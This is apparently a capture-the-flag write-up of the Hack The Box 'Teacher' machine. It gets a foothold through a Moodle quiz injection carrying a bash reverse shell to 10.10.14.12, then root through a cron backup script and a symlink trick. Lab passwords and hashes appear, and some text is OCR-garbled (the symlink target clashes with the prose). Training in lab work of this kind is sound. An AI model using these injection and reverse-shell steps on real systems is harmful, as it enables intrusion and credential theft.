Loot

Box Info

Name : Teacher
 IP : 10.10.10.153
 Level : Medium
 OS : Linux

Creds

Service	Username	Password	Description
Moodle Login	giovanni	Th4C00ITheacha#	Found in /images/5.png
Mysql Login	root	Welkom1!	Found in config.php.save in var/www/moodle
User Login - giovanni	giovanni	expelled	Found in mdl_users in mysql

Nmap

Full Scan - Running custom scripts and version enumeration on all ports

Quick Glance

- Just Port 80 open
- Apache 2.4.25 and Debian
- Mention of a portal to login. Need to check that moodle

Gobuster

Directory Enumeration

```
(Status: 301) [Size: 313] [-->
/images
http://10.10.10.153/images/]
/css
                      (Status: 301) [Size: 310] [--> http://10.10.10.153/css/]
/manual
                      (Status: 301) [Size: 313] [-->
http://10.10.10.153/manual/]
                      (Status: 301) [Size: 309] [--> http://10.10.10.153/js/]
/js
/javascript
                      (Status: 301) [Size: 317] [-->
http://10.10.10.153/javascript/]
/fonts
                      (Status: 301) [Size: 312] [-->
http://10.10.10.153/fonts/]
                     (Status: 403) [Size: 297]
/phpmyadmin
                      (Status: 301) [Size: 313] [-->
/moodle
http://10.10.10.153/moodle/]
/server-status
                     (Status: 403) [Size: 300]
```

- In /images, we can see that 5.png has different size than all the other images.
- We can download that and we can check for the contents.

```
cat 5.png.1
Hi Servicedesk,

I forgot the last charachter of my password. The only part I remembered is
Th4C00lTheacha.

Could you guys figure out what the last charachter is, or just reset it?

Thanks,
Giovanni
```

- We can see that we need to figure out the last character of the password, considering utf-8 encoding.
- Using the python3 script in the directory exploit.py, we can just bruteforce the password.

Credentials for loggin in → giovanni:Th4C00lTheacha#

Foothold

Getting reverse shell

- Fom the exploit described by <u>ripstech</u>, we can create a quiz.
- We can first check if ping -c 1 10.10.14.12 is working or not.

```
sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:35:15.237927 IP 10.10.10.153 > 10.10.14.12: ICMP echo request, id 882, seq
1, length 64
09:35:15.237980 IP 10.10.14.12 > 10.10.10.153: ICMP echo reply, id 882, seq 1,
length 64
09:35:15.412755 IP 10.10.10.153 > 10.10.14.12: ICMP echo request, id 884, seq
1, length 64
09:35:15.412804 IP 10.10.14.12 > 10.10.10.153: ICMP echo reply, id 884, seq 1,
length 64
09:35:21.773372 IP 10.10.10.153 > 10.10.14.12: ICMP echo request, id 886, seq
1, length 64
09:35:21.773407 IP 10.10.14.12 > 10.10.10.153: ICMP echo reply, id 886, seq 1,
length 64
09:35:21.978014 IP 10.10.10.153 > 10.10.14.12: ICMP echo request, id 888, seq
1, length 64
09:35:21.978046 IP 10.10.14.12 > 10.10.10.153: ICMP echo reply, id 888, seq 1,
length 64
^ C
8 packets captured
8 packets received by filter
0 packets dropped by kernel
```

We can create a reverse shell request bash -c 'bash -i >& /dev/tcp/10.10.14.12' to get a reverse shell.

```
Request
                                                                                                  R€
Pretty Raw \n Actions >
                                                                                                 Pr
 1 GET /moodle/question/question.php?returnurl=
                                                                                                  1
  %2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D7%26addonpage%3D0&appendqnumstring=addquestion&scrollpos=
   0&id=6&wizardnow=datasetitems&cmid=7&0=
  bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.12/9001+0>%261' HTTP/1.1
 2 Host: 10.10.10.153
 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 5 Accept - Language: en - US, en; q=0.5
 6 Accept-Encoding: gzip, deflate
  http://10.10.10.153/moodle/question/question.php?returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%
   3D7%26addonpage%3D0&appendqnumstring=addquestion&scrollpos=0&id=6&wizardnow=datasetdefiniti
   ons&cmid=7
 8 Connection: close
9 Cookie: MoodleSession=evp5b9b91kt878lbeka7n2kjj5ln -s
10 Upgrade-Insecure-Requests: 1
11 | Cache-Control: max-age=0
12
13
```

```
nc -lnvp 9001
1 ←
listening on [any] 9001 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.153] 60142
bash: cannot set terminal process group (829): Inappropriate ioctl for device
bash: no job control in this shell
www-data@teacher:/var/www/html/moodle/question$ python3 -c 'import
pty;pty.spawn("/bin/bash")'
<ion$ python3 -c 'import pty;pty.spawn("/bin/bash")'</pre>
www-data@teacher:/var/www/html/moodle/question$ ^Z
[1] + 2669 suspended nc -lnvp 9001
_norman@kali ~/Hack-The-Box/machines/teacher <main*>
└$ stty raw -echo; fg
148 ←
[1] + 2669 continued nc -lnvp 9001
...[Press RET twice]...
```

Privilege Escalation

• From /var/www/html/moodle/config.php.save, we can get the mysql credentials.

```
www-data@teacher:/var/www/html/moodle$ cat config.php
<?php // Moodle configuration file

unset($CFG);
global $CFG;
$CFG = new stdClass();

$CFG->dbtype = 'mariadb';
$CFG->dblibrary = 'native';
$CFG->dbhost = 'localhost';
$CFG->dbname = 'moodle';
$CFG->dbuser = 'root';
$CFG->dbpass = 'Welkom1!';
$CFG->prefix = 'mdl_';
$CFG->dboptions = array (
```

- We can login using mysql -u root -pWelkom1!
- We can check in database moodle, there is a table named as mdl_user

```
MariaDB [moodle]> select id,username,password from mdl_user;
+----+
+-----+
| id | username | password
|
+----+
| 1 | guest |
$2y$10$ywuE5gDlAlaCu9R0w7pKW.UCB0jUH6ZVKcitP3gMtUNrAebiGMOd0 |
| 2 | admin |
$2y$10$7VPsdU9/9y2J4Mynlt6vM.a4coqHRXsNTOq/laA6wCWTsF2wtrD02 |
| 3 | giovanni |
$2y$10$38V6kI7LNudORa7lBAT0q.vsQsv4PemY7rf/M1Zkj/i1VqL00FSY0 |
| 1337 | Giovannibak | 7a860966115182402ed06375cf0a22af
```

- We can see the password with user ID: LEET is in md5sum, which we can check online (no need for hashcat or john)
- · giovanni:expelled
- We can try loggin in using these credentials. /etc/passwd, would have had the users with login capabilities, from where we can get the user giovanni, or check the home directory.

User: root

After running linpeas, we can see that there is a file /usr/bin/backup.sh, which we
can read, which is creating a backup of /home/giovanni/work/courses directory in a
tar file in ./tmp directory and then extarcting that and changing the pemissions to
777 for all the files recursively.

```
giovanni@teacher:/var/www/html/moodle$ cat /usr/bin/backup.sh
#!/bin/bash
cd /home/giovanni/work;
tar -czvf tmp/backup_courses.tar.gz courses/*;
cd tmp;
tar -xf backup_courses.tar.gz;
chmod 777 * -R;
```

 Also date tells us that backup file is being created every minute, with root privileges, so there must be a cron job which is perfoming this every minute with rroot prrivileges.

```
giovanni@teacher:~$ ls -la work/tmp/backup_courses.tar.gz
-rwxrwxrwx 1 root root 45 Apr 18 16:15 work/tmp/backup_courses.tar.gz
giovanni@teacher:~$ date
Sun Apr 18 16:15:12 CEST 2021
giovanni@teacher:~$
```

So we can change the couses file as such so that we can get the root access or flag.
 We can create a symbolic link named course to root directory, using In -s /root

courses. Now the script will make a backup for the root directory and then get us root.txt in the ./tmp/course directory

```
giovanni@teacher:~/work$ ls -la

total 16

drwxr-xr-x 4 giovanni giovanni 4096 Apr 18 15:44 .

drwxr-x--- 4 giovanni giovanni 4096 Nov 4 2018 ..

lrwxrwxrwx 1 giovanni giovanni 11 Apr 18 15:44 courses -> /etc/shadow

drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 2018 courses.bak

drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 2018 tmp

giovanni@teacher:~/work$ cat tmp/courses/root.txt

4f3a83b4...

giovanni@teacher:~/work$
```